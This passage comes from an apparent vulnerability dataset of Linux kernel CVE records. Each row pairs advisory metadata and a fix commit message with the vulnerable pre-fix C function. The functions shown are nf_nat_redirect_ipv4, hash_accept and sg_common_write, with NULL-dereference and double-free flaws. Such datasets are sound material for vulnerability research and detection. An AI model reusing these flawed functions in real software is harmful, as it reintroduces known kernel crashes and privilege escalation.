'http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/ovmbulletinoct2016-3090547.html', 'name': 'http://www.oracle.com/technetwork/topics/security/ovmbulletinoct2016-3090547.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00015.html', 'name': 'openSUSE-SU-2016:1008', 'refsource': 'SUSE', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2889-1', 'name': 'USN-2889-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2016-February/176484.html', 'name': 'FEDORA-2016-5d43766e33', 'refsource': 'FEDORA', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2016-February/176464.html', 'name': 'FEDORA-2016-2f25d12c51', 'refsource': 'FEDORA', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2890-1', 'name': 'USN-2890-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2890-3', 'name': 'USN-2890-3', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2890-2', 'name': 'USN-2890-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2889-2', 'name': 'USN-2889-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.4', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The nf_nat_redirect_ipv4 function in net/netfilter/nf_nat_redirect.c in the Linux kernel before 4.4 allows remote attackers to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by sending certain IPv4 packets to an incompletely configured interface, a related issue to CVE-2003-1604.'}]
2022-01-31T17:53Z
2016-02-08T03:59Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Munehisa Kamata
2015-10-26 19:10:52-07:00
netfilter: nf_nat_redirect: add missing NULL pointer check Commit 8b13eddfdf04cbfa561725cfc42d6868fe896f56 ("netfilter: refactor NAT redirect IPv4 to use it from nf_tables") has introduced a trivial logic change which can result in the following crash. BUG: unable to handle kernel NULL pointer dereference at 0000000000000030 IP: [<ffffffffa033002d>] nf_nat_redirect_ipv4+0x2d/0xa0 [nf_nat_redirect] PGD 3ba662067 PUD 3ba661067 PMD 0 Oops: 0000 [#1] SMP Modules linked in: ipv6(E) xt_REDIRECT(E) nf_nat_redirect(E) xt_tcpudp(E) iptable_nat(E) nf_conntrack_ipv4(E) nf_defrag_ipv4(E) nf_nat_ipv4(E) nf_nat(E) nf_conntrack(E) ip_tables(E) x_tables(E) binfmt_misc(E) xfs(E) libcrc32c(E) evbug(E) evdev(E) psmouse(E) i2c_piix4(E) i2c_core(E) acpi_cpufreq(E) button(E) ext4(E) crc16(E) jbd2(E) mbcache(E) dm_mirror(E) dm_region_hash(E) dm_log(E) dm_mod(E) CPU: 0 PID: 2536 Comm: ip Tainted: G E 4.1.7-15.23.amzn1.x86_64 #1 Hardware name: Xen HVM domU, BIOS 4.2.amazon 05/06/2015 task: ffff8800eb438000 ti: ffff8803ba664000 task.ti: ffff8803ba664000 [...] Call Trace: <IRQ> [<ffffffffa0334065>] redirect_tg4+0x15/0x20 [xt_REDIRECT] [<ffffffffa02e2e99>] ipt_do_table+0x2b9/0x5e1 [ip_tables] [<ffffffffa0328045>] iptable_nat_do_chain+0x25/0x30 [iptable_nat] [<ffffffffa031777d>] nf_nat_ipv4_fn+0x13d/0x1f0 [nf_nat_ipv4] [<ffffffffa0328020>] ? iptable_nat_ipv4_fn+0x20/0x20 [iptable_nat] [<ffffffffa031785e>] nf_nat_ipv4_in+0x2e/0x90 [nf_nat_ipv4] [<ffffffffa03280a5>] iptable_nat_ipv4_in+0x15/0x20 [iptable_nat] [<ffffffff81449137>] nf_iterate+0x57/0x80 [<ffffffff814491f7>] nf_hook_slow+0x97/0x100 [<ffffffff814504d4>] ip_rcv+0x314/0x400 unsigned int nf_nat_redirect_ipv4(struct sk_buff *skb, ... { ... rcu_read_lock(); indev = __in_dev_get_rcu(skb->dev); if (indev != NULL) { ifa = indev->ifa_list; newdst = ifa->ifa_local; <--- } rcu_read_unlock(); ... } Before the commit, 'ifa' had been always checked before access. After the commit, however, it could be accessed even if it's NULL. Interestingly, this was once fixed in 2003. http://marc.info/?l=netfilter-devel&m=106668497403047&w=2 In addition to the original one, we have seen the crash when packets that need to be redirected somehow arrive on an interface which hasn't been yet fully configured. This change just reverts the logic to the old behavior to avoid the crash. Fixes: 8b13eddfdf04 ("netfilter: refactor NAT redirect IPv4 to use it from nf_tables") Signed-off-by: Munehisa Kamata <[email protected]> Signed-off-by: Pablo Neira Ayuso <[email protected]>
94f9cd81436c85d8c3a318ba92e236ede73752fc
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
nf_nat_redirect_ipv4
nf_nat_redirect_ipv4( struct sk_buff * skb , const struct nf_nat_ipv4_multi_range_compat * mr , unsigned int hooknum)
['skb', 'mr', 'hooknum']
nf_nat_redirect_ipv4(struct sk_buff *skb, const struct nf_nat_ipv4_multi_range_compat *mr, unsigned int hooknum) { struct nf_conn *ct; enum ip_conntrack_info ctinfo; __be32 newdst; struct nf_nat_range newrange; NF_CT_ASSERT(hooknum == NF_INET_PRE_ROUTING || hooknum == NF_INET_LOCAL_OUT); ct = nf_ct_get(skb, &ctinfo); NF_CT_ASSERT(ct && (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED)); /* Local packets: make them go to loopback */ if (hooknum == NF_INET_LOCAL_OUT) { newdst = htonl(0x7F000001); } else { struct in_device *indev; struct in_ifaddr *ifa; newdst = 0; rcu_read_lock(); indev = __in_dev_get_rcu(skb->dev); if (indev != NULL) { ifa = indev->ifa_list; newdst = ifa->ifa_local; } rcu_read_unlock(); if (!newdst) return NF_DROP; } /* Transfer from original range. */ memset(&newrange.min_addr, 0, sizeof(newrange.min_addr)); memset(&newrange.max_addr, 0, sizeof(newrange.max_addr)); newrange.flags = mr->range[0].flags | NF_NAT_RANGE_MAP_IPS; newrange.min_addr.ip = newdst; newrange.max_addr.ip = newdst; newrange.min_proto = mr->range[0].min; newrange.max_proto = mr->range[0].max; /* Hand modified range to generic setup. */ return nf_nat_setup_info(ct, &newrange, NF_NAT_MANIP_DST); }
250
True
1
CVE-2016-8646
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1388821', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1388821', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.3.6', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.3.6', 'refsource': 'CONFIRM', 'tags': ['Release Notes']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4afa5f9617927453ac04b24b584f6c718dfb4f45', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4afa5f9617927453ac04b24b584f6c718dfb4f45', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch', 'Vendor Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2016/11/15/2', 'name': '[oss-security] 20161115 CVE-2016-8646: linux kernel - oops in shash_async_export()', 'refsource': 'MLIST', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/4afa5f9617927453ac04b24b584f6c718dfb4f45', 'name': 'https://github.com/torvalds/linux/commit/4afa5f9617927453ac04b24b584f6c718dfb4f45', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Patch', 'Third Party Advisory']}, {'url': 'http://www.securityfocus.com/bid/94309', 'name': '94309', 'refsource': 'BID', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2017:1308', 'name': 'RHSA-2017:1308', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2017:1298', 'name': 'RHSA-2017:1298', 'refsource': 'REDHAT', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2017:1297', 'name': 'RHSA-2017:1297', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-476'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.3.5', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The hash_accept function in crypto/algif_hash.c in the Linux kernel before 4.3.6 allows local users to cause a denial of service (OOPS) by attempting to trigger use of in-kernel hash algorithms for a socket that has received zero bytes of data.'}]
2018-01-05T02:31Z
2016-11-28T03:59Z
NULL Pointer Dereference
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
https://cwe.mitre.org/data/definitions/476.html
0
Herbert Xu
2015-11-01 17:11:19+08:00
crypto: algif_hash - Only export and import on sockets with data The hash_accept call fails to work on sockets that have not received any data. For some algorithm implementations it may cause crashes. This patch fixes this by ensuring that we only export and import on sockets that have received data. Cc: [email protected] Reported-by: Harsh Jain <[email protected]> Signed-off-by: Herbert Xu <[email protected]> Tested-by: Stephan Mueller <[email protected]>
4afa5f9617927453ac04b24b584f6c718dfb4f45
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
hash_accept
hash_accept( struct socket * sock , struct socket * newsock , int flags)
['sock', 'newsock', 'flags']
static int hash_accept(struct socket *sock, struct socket *newsock, int flags) { struct sock *sk = sock->sk; struct alg_sock *ask = alg_sk(sk); struct hash_ctx *ctx = ask->private; struct ahash_request *req = &ctx->req; char state[crypto_ahash_statesize(crypto_ahash_reqtfm(req))]; struct sock *sk2; struct alg_sock *ask2; struct hash_ctx *ctx2; int err; err = crypto_ahash_export(req, state); if (err) return err; err = af_alg_accept(ask->parent, newsock); if (err) return err; sk2 = newsock->sk; ask2 = alg_sk(sk2); ctx2 = ask2->private; ctx2->more = 1; err = crypto_ahash_import(&ctx2->req, state); if (err) { sock_orphan(sk2); sock_put(sk2); } return err; }
175
True
1
CVE-2015-8962
False
False
False
True
AV:N/AC:M/Au:N/C:C/I:C/A:C
NETWORK
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
9.3
CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
LOCAL
LOW
LOW
REQUIRED
UNCHANGED
HIGH
HIGH
HIGH
7.3
HIGH
1.3
5.9
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f3951a3709ff50990bf3e188c27d346792103432', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f3951a3709ff50990bf3e188c27d346792103432', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/f3951a3709ff50990bf3e188c27d346792103432', 'name': 'https://github.com/torvalds/linux/commit/f3951a3709ff50990bf3e188c27d346792103432', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://source.android.com/security/bulletin/2016-11-01.html', 'name': 'https://source.android.com/security/bulletin/2016-11-01.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/94187', 'name': '94187', 'refsource': 'BID', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-415'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.3.6', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Double free vulnerability in the sg_common_write function in drivers/scsi/sg.c in the Linux kernel before 4.4 allows local users to gain privileges or cause a denial of service (memory corruption and system crash) by detaching a device during an SG_IO ioctl call.'}]
2017-01-18T02:59Z
2016-11-16T05:59Z
Double Free
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.
When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.
https://cwe.mitre.org/data/definitions/415.html
0
Calvin Owens
2015-10-30 16:57:00-07:00
sg: Fix double-free when drives detach during SG_IO In sg_common_write(), we free the block request and return -ENODEV if the device is detached in the middle of the SG_IO ioctl(). Unfortunately, sg_finish_rem_req() also tries to free srp->rq, so we end up freeing rq->cmd in the already free rq object, and then free the object itself out from under the current user. This ends up corrupting random memory via the list_head on the rq object. The most common crash trace I saw is this: ------------[ cut here ]------------ kernel BUG at block/blk-core.c:1420! Call Trace: [<ffffffff81281eab>] blk_put_request+0x5b/0x80 [<ffffffffa0069e5b>] sg_finish_rem_req+0x6b/0x120 [sg] [<ffffffffa006bcb9>] sg_common_write.isra.14+0x459/0x5a0 [sg] [<ffffffff8125b328>] ? selinux_file_alloc_security+0x48/0x70 [<ffffffffa006bf95>] sg_new_write.isra.17+0x195/0x2d0 [sg] [<ffffffffa006cef4>] sg_ioctl+0x644/0xdb0 [sg] [<ffffffff81170f80>] do_vfs_ioctl+0x90/0x520 [<ffffffff81258967>] ? file_has_perm+0x97/0xb0 [<ffffffff811714a1>] SyS_ioctl+0x91/0xb0 [<ffffffff81602afb>] tracesys+0xdd/0xe2 RIP [<ffffffff81281e04>] __blk_put_request+0x154/0x1a0 The solution is straightforward: just set srp->rq to NULL in the failure branch so that sg_finish_rem_req() doesn't attempt to re-free it. Additionally, since sg_rq_end_io() will never be called on the object when this happens, we need to free memory backing ->cmd if it isn't embedded in the object itself. KASAN was extremely helpful in finding the root cause of this bug. Signed-off-by: Calvin Owens <[email protected]> Acked-by: Douglas Gilbert <[email protected]> Signed-off-by: Martin K. Petersen <[email protected]>
f3951a3709ff50990bf3e188c27d346792103432
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sg_common_write
sg_common_write( Sg_fd * sfp , Sg_request * srp , unsigned char * cmnd , int timeout , int blocking)
['sfp', 'srp', 'cmnd', 'timeout', 'blocking']
sg_common_write(Sg_fd * sfp, Sg_request * srp, unsigned char *cmnd, int timeout, int blocking) { int k, at_head; Sg_device *sdp = sfp->parentdp; sg_io_hdr_t *hp = &srp->header; srp->data.cmd_opcode = cmnd[0]; /* hold opcode of command */ hp->status = 0; hp->masked_status = 0; hp->msg_status = 0; hp->info = 0; hp->host_status = 0; hp->driver_status = 0; hp->resid = 0; SCSI_LOG_TIMEOUT(4, sg_printk(KERN_INFO, sfp->parentdp, "sg_common_write: scsi opcode=0x%02x, cmd_size=%d\n", (int) cmnd[0], (int) hp->cmd_len)); k = sg_start_req(srp, cmnd); if (k) { SCSI_LOG_TIMEOUT(1, sg_printk(KERN_INFO, sfp->parentdp, "sg_common_write: start_req err=%d\n", k)); sg_finish_rem_req(srp); return k; /* probably out of space --> ENOMEM */ } if (atomic_read(&sdp->detaching)) { if (srp->bio) blk_end_request_all(srp->rq, -EIO); sg_finish_rem_req(srp); return -ENODEV; } hp->duration = jiffies_to_msecs(jiffies); if (hp->interface_id != '\0' && /* v3 (or later) interface */ (SG_FLAG_Q_AT_TAIL & hp->flags)) at_head = 0; else at_head = 1; srp->rq->timeout = timeout; kref_get(&sfp->f_ref); /* sg_rq_end_io() does kref_put(). */ blk_execute_rq_nowait(sdp->device->request_queue, sdp->disk, srp->rq, at_head, sg_rq_end_io); return 0; }
281
True
1
CVE-2018-8897
False
False
False
False
AV:L/AC:L/Au:N/C:C/I:C/A:C
LOCAL
LOW
NONE
COMPLETE
COMPLETE
COMPLETE
7.2
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.8
HIGH
1.8
5.9
nan
[{'url': 'https://xenbits.xen.org/xsa/advisory-260.html', 'name': 'https://xenbits.xen.org/xsa/advisory-260.html', 'refsource': 'MISC', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'https://www.freebsd.org/security/advisories/FreeBSD-SA-18:06.debugreg.asc', 'name': 'https://www.freebsd.org/security/advisories/FreeBSD-SA-18:06.debugreg.asc', 'refsource': 'MISC', 'tags': ['Third Party Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/d8ba61ba58c88d5207c1ba2f7d9a2280e7d03be9', 'name': 'https://github.com/torvalds/linux/commit/d8ba61ba58c88d5207c1ba2f7d9a2280e7d03be9', 'refsource': 'MISC', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1567074', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1567074', 'refsource': 'MISC', 'tags': ['Issue Tracking', 'Third Party Advisory']}, {'url': 'http://openwall.com/lists/oss-security/2018/05/08/1', 'name': 'http://openwall.com/lists/oss-security/2018/05/08/1', 'refsource': 'MISC', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d8ba61ba58c88d5207c1ba2f7d9a2280e7d03be9', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d8ba61ba58c88d5207c1ba2f7d9a2280e7d03be9', 'refsource': 'MISC', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'https://svnweb.freebsd.org/base?view=revision&revision=333368', 'name': 'https://svnweb.freebsd.org/base?view=revision&revision=333368', 'refsource': 'MISC', 'tags': ['Third Party Advisory']}, {'url': 'https://support.apple.com/HT208742', 'name': 'https://support.apple.com/HT208742', 'refsource': 'MISC', 'tags': ['Third Party Advisory']}, {'url': 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897', 'name': 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Third Party Advisory', 'Vendor Advisory']}, {'url': 'http://openwall.com/lists/oss-security/2018/05/08/4', 'name': 'http://openwall.com/lists/oss-security/2018/05/08/4', 'refsource': 'MISC', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'https://www.triplefault.io/2018/05/spurious-db-exceptions-with-pop-ss.html', 'name': 'https://www.triplefault.io/2018/05/spurious-db-exceptions-with-pop-ss.html', 'refsource': 'MISC', 'tags': ['Third Party Advisory']}, {'url': 'https://www.synology.com/support/security/Synology_SA_18_21', 'name': 'https://www.synology.com/support/security/Synology_SA_18_21', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'https://usn.ubuntu.com/3641-2/', 'name': 'USN-3641-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'https://support.citrix.com/article/CTX234679', 'name': 'https://support.citrix.com/article/CTX234679', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'https://patchwork.kernel.org/patch/10386677/', 'name': 'https://patchwork.kernel.org/patch/10386677/', 'refsource': 'MISC', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1355', 'name': 'RHSA-2018:1355', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1354', 'name': 'RHSA-2018:1354', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1353', 'name': 'RHSA-2018:1353', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1352', 'name': 'RHSA-2018:1352', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1351', 'name': 'RHSA-2018:1351', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1350', 'name': 'RHSA-2018:1350', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1349', 'name': 'RHSA-2018:1349', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1348', 'name': 'RHSA-2018:1348', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1347', 'name': 'RHSA-2018:1347', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1346', 'name': 'RHSA-2018:1346', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1345', 'name': 'RHSA-2018:1345', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1319', 'name': 'RHSA-2018:1319', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1318', 'name': 'RHSA-2018:1318', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://www.securitytracker.com/id/1040849', 'name': '1040849', 'refsource': 'SECTRACK', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://www.securityfocus.com/bid/104071', 'name': '104071', 'refsource': 'BID', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'https://www.debian.org/security/2018/dsa-4196', 'name': 'DSA-4196', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}, {'url': 'http://www.securitytracker.com/id/1040882', 'name': '1040882', 'refsource': 'SECTRACK', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://www.securitytracker.com/id/1040866', 'name': '1040866', 'refsource': 'SECTRACK', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://www.securitytracker.com/id/1040861', 'name': '1040861', 'refsource': 'SECTRACK', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://www.securitytracker.com/id/1040744', 'name': '1040744', 'refsource': 'SECTRACK', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'https://access.redhat.com/errata/RHSA-2018:1524', 'name': 'RHSA-2018:1524', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4201', 'name': 'DSA-4201', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}, {'url': 'https://github.com/can1357/CVE-2018-8897/', 'name': 'https://github.com/can1357/CVE-2018-8897/', 'refsource': 'MISC', 'tags': ['Exploit', 'Third Party Advisory']}, {'url': 'https://www.exploit-db.com/exploits/44697/', 'name': '44697', 'refsource': 'EXPLOIT-DB', 'tags': ['Exploit', 'Third Party Advisory', 'VDB Entry']}, {'url': 'https://lists.debian.org/debian-lts-announce/2018/05/msg00015.html', 'name': '[debian-lts-announce] 20180525 [SECURITY] [DLA 1383-1] xen security update', 'refsource': 'MLIST', 'tags': ['Third Party Advisory']}, {'url': 'https://usn.ubuntu.com/3641-1/', 'name': 'USN-3641-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'https://lists.debian.org/debian-lts-announce/2018/06/msg00000.html', 'name': '[debian-lts-announce] 20180601 [SECURITY] [DLA 1392-1] linux security update', 'refsource': 'MLIST', 'tags': ['Third Party Advisory']}, {'url': 'https://www.exploit-db.com/exploits/45024/', 'name': '45024', 'refsource': 'EXPLOIT-DB', 'tags': []}, {'url': 'https://security.netapp.com/advisory/ntap-20180927-0002/', 'name': 'https://security.netapp.com/advisory/ntap-20180927-0002/', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://lists.debian.org/debian-lts-announce/2018/11/msg00013.html', 'name': '[debian-lts-announce] 20181112 [SECURITY] [DLA 1577-1] xen security update', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://help.ecostruxureit.com/display/public/UADCE725/Security+fixes+in+StruxureWare+Data+Center+Expert+v7.6.0', 'name': 'https://help.ecostruxureit.com/display/public/UADCE725/Security+fixes+in+StruxureWare+Data+Center+Expert+v7.6.0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://www.kb.cert.org/vuls/id/631579', 'name': 'VU#631579', 'refsource': 'CERT-VN', 'tags': []}, {'url': 'http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20190921-01-debug-en', 'name': 'http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20190921-01-debug-en', 'refsource': 'CONFIRM', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:lts:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:17.10:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux_workstation:7.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_virtualization_manager:3.0:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:a:citrix:xenserver:7.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:a:citrix:xenserver:7.1:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:a:citrix:xenserver:6.5:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:a:citrix:xenserver:6.0.2:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:a:citrix:xenserver:7.2:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:a:citrix:xenserver:6.2.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:a:citrix:xenserver:7.3:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:a:citrix:xenserver:7.4:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:a:synology:skynas:-:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:synology:diskstation_manager:6.1:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:synology:diskstation_manager:6.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:synology:diskstation_manager:5.2:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:apple:mac_os_x:*:*:*:*:*:*:*:*', 'versionEndExcluding': '10.13.4', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:xen:xen:-:*:*:*:*:*:x86:*', 